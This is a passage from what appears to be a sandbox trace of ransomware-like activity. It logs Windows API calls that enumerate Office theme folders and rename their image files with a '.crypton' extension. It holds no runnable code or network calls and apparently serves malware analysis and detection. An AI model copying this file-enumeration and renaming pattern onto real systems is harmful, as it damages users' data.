lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0073.494] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0073.495] GetFileType (hFile=0x198) returned 0x1 [0073.572] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa9360000, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa9360000, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0073.574] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0073.590] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0073.644] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa941e6e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa941e6e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0073.649] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0073.670] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0073.679] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa946a9a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa946a9a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0073.684] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0073.717] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0073.719] GetFileType (hFile=0x198) returned 0x1 [0073.727] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa94dcdc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa94dcdc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0073.730] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0073.741] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0073.742] GetFileType (hFile=0x198) returned 0x1 [0073.746] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa9502f20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa9502f20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0073.751] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0073.769] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0073.770] GetFileType (hFile=0x198) returned 0x1 [0073.775] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa954f1e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa954f1e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0073.782] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0073.795] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0073.796] GetFileType (hFile=0x198) returned 0x1 [0073.801] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa959b4a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa959b4a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0073.803] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0073.814] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0073.815] GetFileType (hFile=0x198) returned 0x1 [0073.821] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa95c1600, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa95c1600, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0073.823] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0073.847] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0073.848] GetFileType (hFile=0x198) returned 0x1 [0073.852] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa960d8c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa960d8c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0073.858] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0073.883] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0073.884] GetFileType (hFile=0x198) returned 0x1 [0073.888] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa9659b80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa9659b80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0073.891] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0073.899] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0073.900] GetFileType (hFile=0x198) returned 0x1 [0073.904] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa967fce0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa967fce0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0073.910] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0073.930] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0073.931] GetFileType (hFile=0x198) returned 0x1 [0073.936] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa96cbfa0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa96cbfa0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0073.938] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0073.959] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0073.960] GetFileType (hFile=0x198) returned 0x1 [0073.966] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa9718260, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa9718260, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0073.969] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0073.982] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0073.983] GetFileType (hFile=0x198) returned 0x1 [0073.988] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa9764520, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa9764520, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0073.990] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0074.010] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0074.011] GetFileType (hFile=0x198) returned 0x1 [0074.016] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa978a680, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa978a680, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0074.019] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0074.031] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0074.033] GetFileType (hFile=0x198) returned 0x1 [0074.037] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa97d6940, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa97d6940, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0074.040] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0074.051] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0074.059] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa97fcaa0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa97fcaa0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0074.063] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0074.091] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft 